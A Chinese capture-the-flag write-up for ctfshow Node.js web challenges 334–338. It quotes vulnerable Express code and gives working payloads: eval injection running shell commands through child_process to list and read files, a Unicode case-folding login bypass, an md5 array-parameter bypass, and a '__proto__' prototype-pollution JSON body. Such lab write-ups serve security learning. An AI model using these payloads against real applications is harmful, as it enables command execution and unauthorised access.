ctfshow web入门 nodejs334-338

2024-04-28 15:28
文章标签 入门 web ctfshow 338 nodejs334

本文主要是介绍ctfshow web入门 nodejs334-338,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

334.

这题入门题,下载附件以.zip的格式打开,拿到源代码,进行代码审计,

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};/* GET home page. */
router.post('/', function(req, res, next) {res.type('html');var flag='flag_here';var sess = req.session;var user = findUser(req.body.username, req.body.password);if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: '登录失败'});        }req.session.loginUser = user.username;res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              });}else{res.json({ret_code: 1, ret_msg: '账号或密码错误'});}  });module.exports = router;
module.exports = {items: [{username: 'CTFSHOW', password: '123456'}]
};

发现,按照他的逻辑.输入正确的用户名及密码即可登录,这里需要注意的是,对于这个代码的逻辑,是你输入的用户名是不能等于CTFSHOW的,所以我们输入他的小写即可,因为它后面有toUppercase()函数,会将我们输入的大写,所以不用管.

js大小写特性

参考Fuzz中的javascript大小写特性 | 离别歌

字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'
字符"K"经过`toLowerCase`处理后结果为"k"(这个K不是K)
335.

<!--
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-25 03:01:21
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-25 06:52:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com--><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>CTFFSHOW</title><script type="text/javascript" src="/javascripts/jquery.js"></script>
</head>
<body>where is flag?  <!-- /?eval= --></body>
</html>

通过页面源代码提示,可以通过get传参/?eval=...的方式做题,

首先输入eval=123

发现页面有回显  123

根据提示推测,很有可能执行了eval('console.log(xxx)')d的代码,而eval将传回来的字符串执行,

然后下一步是为了查看目录找到flag

我们有fs模块

fs.readdir(currentDirectory, (err, files) => {if (err) {console.error('Error reading current directory:', err);return;}

但是我们的内容存储在files变量中,无法用一句话解决问题,

这时,我们可以通过一个可以同时执行系统命令的模块,child_process模块,他会创建子进程,让一条命令执行多个进程,

自然而然的,我们找到了spawnSync() 方法,这个方法会执行后面的命令直到执行完毕返回所获取到的对象,所以构造命令,

require('child_process').spawnSync('ls',['.']).stdout.toString()

发现,文件目录已经弹出来了,可以看见一个叫fl00g.txt的文件.这里我通过直接访问的方式出现文件找不到的文字,但是却不是浏览器常见的模式,所以大体可以确定可能设置了访问权限,所以我们以同样的方法,通过cat命令访问这个文件即可 

require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
 

336.

这道题与上一题解题方法一致,就是文件名改了一下

337.
var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;

这个代码的逻辑,是通过get传参传入a,b的值,判断语句主要是,a与b的长度相等,a不等于b,但是a+flag与b+flag的哈希值要相等,这时,我们可以自然而然的想到,对于JavaScript来讲,一个数组加上一个字符串,会将数组中的元素提取出来与字符串拼接,所以我们只需要将a,b赋值为数组,元素个数相等且相同即可.

?a[]=1&b[]=1

338.

这里就需要了解一下原型了,

在JavaScript中,每个函数都有一个特殊的属性叫做原型(prototype)。原型是一个对象,它包含了可以被该函数的所有实例共享的属性和方法。

当您创建一个函数时,JavaScript会自动为该函数创建一个原型对象,并将其分配给该函数的 prototype 属性。这个原型对象包含了一些默认的属性和方法,比如 constructor,它指向该函数本身。

而我们定义类时的函数有点像一个类中的构造函数的感觉,如果将我们需要的函数大量放在构造函数中,那么,按照构造函数的原理,势必是每一个实例都会去运行一遍我们所添加的函数,这大大增加了运行时的内存占用,所以,我们需要一个方法,通过该方法,可以实现的是,回到类的原型,让我们希望定义的函数绑定在类中,而不是一个个实例中,从而出现了:prototype和.__proto__的使用,前者针对类名,后者针对创造的实例对象,
foo.__proto__ = Foo.prototype

通过这种方式定义函数:

Foo.prototype.show = function show() { console.log(this.bar) }

javascript原型链继承
所有类对象在实例化的时候会将拥有prototype中的属性和方法,这个特性被用来实现javascript中的继承机制

function Father(){this.first_name = "Donald"this.last_name = "Trump"}
function Son(){this.first_name = "Melania"}Son.prototype = new Father()let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)



Son类继承了father类的last_name属性,最后输出的是Name: Melania Trump.对于对象son,在调用son.last_name时,实际上javascript引擎会进行如下操作

在对象son中寻找last_name
如果找不到,则在son.__proto__中寻找last_name
如果仍然找不到,则继续在son._proto_.__proto__中寻找last_name
依次寻找,直到找到null结束.比如,object.prototypt的__proto__就是null


javascript的这个查找的机制,被用在面向对象的继承之中,被称作prototype继承链

每一个构造函数(constructor)都有一个原型对象(prototypt)
对象的__proto__属性,指向类的原型对象prototype
javascript使用prototype链实现继承机制
                        

我们可以看见,如果一直没有找到,会寻找到最后一个原型object中,而object是大家公用的,

导致我可能通过__proto__方法修改的内容会影响到其他类,

//foo是一个简单的javascript对象
let foo = {bar:1}//foo.bar此时为1
console.log(foo.bar)//修改foo的原型(即object)
foo.__proto__.bar = 2//由于查找顺序的愿意,foo.bar依然是1
console.log(foo.bar)//此时在用object创建一个空的zoo对象
let zoo = {}//查看zoo.bar
console.log(zoo.bar)

虽然zoo是一个空对象{},但是zoo.bar的结果是2 

显然我们前面修改了foo的原型foo._proto_.bar = 2 ,而foo是一个object类的实例,所以实际上是修改了object这个类,给这个类增加了一个属性bar,值为2.后来我们又用object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了.那么在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类,父类的对象,

 原文链接:https://blog.csdn.net/m0_63303407/article/details/126620602

由上面可知 ,如果要进行原生链的污染,你必须做到,让一个我们希望的对象中完成原生类对象的赋值

let o1 = {}
let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}')
merge(o1,o2)
console.log(o1.a,o2.b)o3 = {}
console.log(o3.b)

回到题目上

//login.jsvar express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  }});module.exports = router;
//commen.jsmodule.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}

可以看见,有一步重要的一步 utils.copy(user,req.body);将我们的user类让req.body类赋值了,但是判断条件却是secret类,所以这里需要原生类的污染,让程序往回找的时候出现ctfshow对象,

所以这里,我们只需要向上面的一样,将我们的输入中包含一个元素为"__proto__":{"ctfshow":"36dboy"}

所以只需要抓包,将类名改一下,或者添加一个类,

{"username":"aa","password":"aa","__proto__":{"ctfshow":"36dboy"}}

即可.


 

这篇关于ctfshow web入门 nodejs334-338的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/943595

相关文章

从入门到精通MySQL联合查询

《从入门到精通MySQL联合查询》:本文主要介绍从入门到精通MySQL联合查询,本文通过实例代码给大家介绍的非常详细,需要的朋友可以参考下... 目录摘要1. 多表联合查询时mysql内部原理2. 内连接3. 外连接4. 自连接5. 子查询6. 合并查询7. 插入查询结果摘要前面我们学习了数据库设计时要满

从入门到精通C++11 <chrono> 库特性

《从入门到精通C++11<chrono>库特性》chrono库是C++11中一个非常强大和实用的库,它为时间处理提供了丰富的功能和类型安全的接口,通过本文的介绍,我们了解了chrono库的基本概念... 目录一、引言1.1 为什么需要<chrono>库1.2<chrono>库的基本概念二、时间段(Durat

解析C++11 static_assert及与Boost库的关联从入门到精通

《解析C++11static_assert及与Boost库的关联从入门到精通》static_assert是C++中强大的编译时验证工具,它能够在编译阶段拦截不符合预期的类型或值,增强代码的健壮性,通... 目录一、背景知识:传统断言方法的局限性1.1 assert宏1.2 #error指令1.3 第三方解决

从入门到精通MySQL 数据库索引(实战案例)

《从入门到精通MySQL数据库索引(实战案例)》索引是数据库的目录,提升查询速度,主要类型包括BTree、Hash、全文、空间索引,需根据场景选择,建议用于高频查询、关联字段、排序等,避免重复率高或... 目录一、索引是什么?能干嘛?核心作用:二、索引的 4 种主要类型(附通俗例子)1. BTree 索引(

如何使用Maven创建web目录结构

《如何使用Maven创建web目录结构》:本文主要介绍如何使用Maven创建web目录结构的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录创建web工程第一步第二步第三步第四步第五步第六步第七步总结创建web工程第一步js通过Maven骨架创pytho

Java Web实现类似Excel表格锁定功能实战教程

《JavaWeb实现类似Excel表格锁定功能实战教程》本文将详细介绍通过创建特定div元素并利用CSS布局和JavaScript事件监听来实现类似Excel的锁定行和列效果的方法,感兴趣的朋友跟随... 目录1. 模拟Excel表格锁定功能2. 创建3个div元素实现表格锁定2.1 div元素布局设计2.

如何使用Haporxy搭建Web群集

《如何使用Haporxy搭建Web群集》Haproxy是目前比较流行的一种群集调度工具,同类群集调度工具有很多如LVS和Nginx,本案例介绍使用Haproxy及Nginx搭建一套Web群集,感兴趣的... 目录一、案例分析1.案例概述2.案例前置知识点2.1 HTTP请求2.2 负载均衡常用调度算法 2.

Redis 配置文件使用建议redis.conf 从入门到实战

《Redis配置文件使用建议redis.conf从入门到实战》Redis配置方式包括配置文件、命令行参数、运行时CONFIG命令,支持动态修改参数及持久化,常用项涉及端口、绑定、内存策略等,版本8... 目录一、Redis.conf 是什么?二、命令行方式传参(适用于测试)三、运行时动态修改配置(不重启服务

MySQL DQL从入门到精通

《MySQLDQL从入门到精通》通过DQL,我们可以从数据库中检索出所需的数据,进行各种复杂的数据分析和处理,本文将深入探讨MySQLDQL的各个方面,帮助你全面掌握这一重要技能,感兴趣的朋友跟随小... 目录一、DQL 基础:SELECT 语句入门二、数据过滤:WHERE 子句的使用三、结果排序:ORDE

Python中OpenCV与Matplotlib的图像操作入门指南

《Python中OpenCV与Matplotlib的图像操作入门指南》:本文主要介绍Python中OpenCV与Matplotlib的图像操作指南,本文通过实例代码给大家介绍的非常详细,对大家的学... 目录一、环境准备二、图像的基本操作1. 图像读取、显示与保存 使用OpenCV操作2. 像素级操作3.